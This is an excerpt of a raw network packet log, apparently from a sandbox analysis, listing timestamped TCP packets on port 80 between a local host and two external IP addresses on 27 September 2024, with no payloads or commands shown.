Sep 27, 2024 16:18:29.338049889 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338068962 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338078976 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338113070 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338279963 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338303089 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338315010 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338319063 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338340044 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338356018 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338388920 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338399887 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338409901 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338423967 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338427067 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338442087 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338466883 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338493109 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338504076 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338514090 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338524103 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338531017 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338534117 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338541031 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338546038 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.338570118 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.338586092 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339253902 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339288950 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339292049 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339298964 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339322090 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339324951 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339332104 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339338064 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339355946 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339374065 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339473009 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339483976 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339493990 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339504004 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339508057 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339523077 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339530945 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339540958 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339541912 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339550972 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339561939 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339571953 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.339572906 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339591026 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.339605093 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.340255022 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.340277910 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.340313911 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.343878984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.343900919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.343909979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.343919039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.343982935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.343987942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.343987942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.343995094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344011068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344019890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344063044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344063044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344125032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344203949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344213009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344247103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344258070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344314098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344322920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344322920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344324112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344322920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344333887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344367027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344393969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344404936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344413996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344413996 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344423056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344439030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344445944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344449043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344459057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344469070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344472885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344540119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344540119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344557047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344624043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344631910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344641924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344651937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344660997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344696999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344696999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344721079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344727039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344770908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344786882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344816923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344826937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344840050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344840050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344844103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344873905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344890118 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344903946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344913960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344923973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344933033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344943047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344955921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.344996929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344997883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344997883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.344997883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345026970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345036983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345046997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345056057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345068932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345072031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345079899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345083952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345103025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345113039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345118046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345118046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345123053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345133066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345146894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345175028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345185041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345194101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345205069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345206022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345242977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345242977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345242977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345252991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345263004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345278978 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345310926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345346928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345357895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345366955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345376968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345386982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345395088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345396996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345407009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345417976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345422983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345443964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345458984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345478058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345489025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345503092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345513105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345544100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345544100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345544100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345820904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345832109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345841885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345863104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345885992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345896006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345906019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345912933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345916033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345926046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345943928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345943928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345971107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.345972061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345982075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.345990896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346002102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346012115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346048117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346048117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346048117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346093893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346103907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346112967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346131086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346133947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346144915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346153975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346163988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346168041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346168041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346174955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346200943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346213102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346219063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346224070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346235037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346245050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346254110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346265078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346275091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346299887 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346299887 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346354008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346354008 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346364975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346374989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346385002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346394062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346395016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346404076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346414089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346441984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346442938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346477032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346487045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346497059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346506119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346515894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346524954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346533060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346533060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346534967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.346625090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.346625090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.392604113 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.392616987 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.392630100 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.392642021 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.392780066 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.392780066 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440644979 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440659046 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440675020 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440685034 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440696955 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440710068 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440754890 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440788031 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440820932 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440831900 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440841913 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440851927 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440860987 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440865040 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440877914 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440887928 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440900087 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440929890 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.440957069 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440972090 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440983057 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.440992117 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441001892 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441006899 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441011906 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441025972 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441032887 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441050053 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441075087 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441095114 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441106081 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441138029 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441174984 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441190958 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441200018 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441210985 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441220999 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441225052 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441235065 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441242933 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441258907 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441287041 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441314936 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441324949 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441334009 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441344023 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441349983 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441354036 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441365004 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441374063 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441375017 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441391945 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441405058 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.441766977 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.441806078 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.502403021 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.502454996 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.502465010 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.502562046 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503043890 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503055096 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503065109 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503099918 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503110886 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503149033 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503159046 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503169060 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503180981 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503180981 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503180981 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503197908 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503211975 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503226995 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503274918 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503285885 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503295898 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503318071 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503335953 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503344059 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503345966 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503357887 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503366947 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503367901 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503402948 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503412962 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503577948 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503628969 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503638983 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503663063 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503684044 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503688097 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503695011 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503705025 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503712893 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503719091 CEST	49620	80	192.168.2.6	185.215.113.117
